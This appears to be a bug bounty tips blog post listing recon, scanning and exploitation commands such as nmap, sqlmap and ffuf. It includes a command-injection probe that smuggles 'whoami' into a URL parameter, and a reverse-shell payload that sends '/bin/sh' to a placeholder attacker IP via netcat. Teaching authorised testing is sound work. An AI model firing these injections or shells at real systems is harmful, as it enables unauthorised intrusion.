Being Nice Pentester: Essential Tips for Bug Bounty Hunters

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Bug hunting and penetration testing require both technical skills and the right mindset. A “nice pentester” maintains professionalism, ethics, and persistence while hunting for vulnerabilities. Below are key practices and commands to enhance your bug bounty journey.

You Should Know:

1. Reconnaissance & Enumeration

Before diving into exploitation, thorough reconnaissance is crucial. Use these commands to gather information:

Linux Commands:

 Subdomain Enumeration 
subfinder -d example.com -o subdomains.txt 
amass enum -d example.com -o amass_results.txt

Port Scanning with Nmap 
nmap -sV -T4 -p- -A target.com -oN scan_results.txt

Directory Bruteforcing 
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt -o fuzz_results.json

Windows Commands:

 Network Discovery 
nslookup example.com 
Test-NetConnection -ComputerName target.com -Port 443

HTTP Requests (PowerShell) 
Invoke-WebRequest -Uri "https://target.com" -Method GET

2. Vulnerability Scanning

Automated tools help identify low-hanging fruits:

 Nikto Web Scanner 
nikto -h https://target.com

SQL Injection Testing 
sqlmap -u "https://target.com/search?id=1" --dbs --batch

XSS Testing with XSStrike 
python3 xsstrike.py -u "https://target.com/search?q=test"

3. Exploitation & Reporting

Once a vulnerability is found, ethical reporting is key.

Example Exploit (Command Injection):

 Testing for Command Injection 
curl "http://target.com/ping?ip=127.0.0.1;whoami"

Reverse Shell (If permitted in scope) 
nc -lvnp 4444 
curl "http://target.com/exec?cmd=nc -e /bin/sh YOUR_IP 4444"

Reporting Best Practices:

  • Clearly describe the vulnerability.
  • Provide steps to reproduce.
  • Include screenshots or logs.
  • Suggest remediation.

What Undercode Say:

A successful bug bounty hunter combines technical expertise with patience and ethical responsibility. Always:
– Respect Scope – Avoid unauthorized testing.
– Document Everything – Logs help in reporting.
– Stay Updated – Follow new CVEs and exploits.

 Stay updated with latest exploits 
searchsploit apache 2.4.49

Prediction:

As bug bounty programs grow, automated tools will evolve, but human intuition and creativity will remain irreplaceable in finding complex vulnerabilities.

Expected Output:

A well-documented bug report with:

✔ Proof-of-Concept (PoC)

✔ Affected endpoints

✔ Remediation steps

✔ Ethical disclosure follow-up

For more resources, check:

IT/Security Reporter URL:

Reported By: Being Nice – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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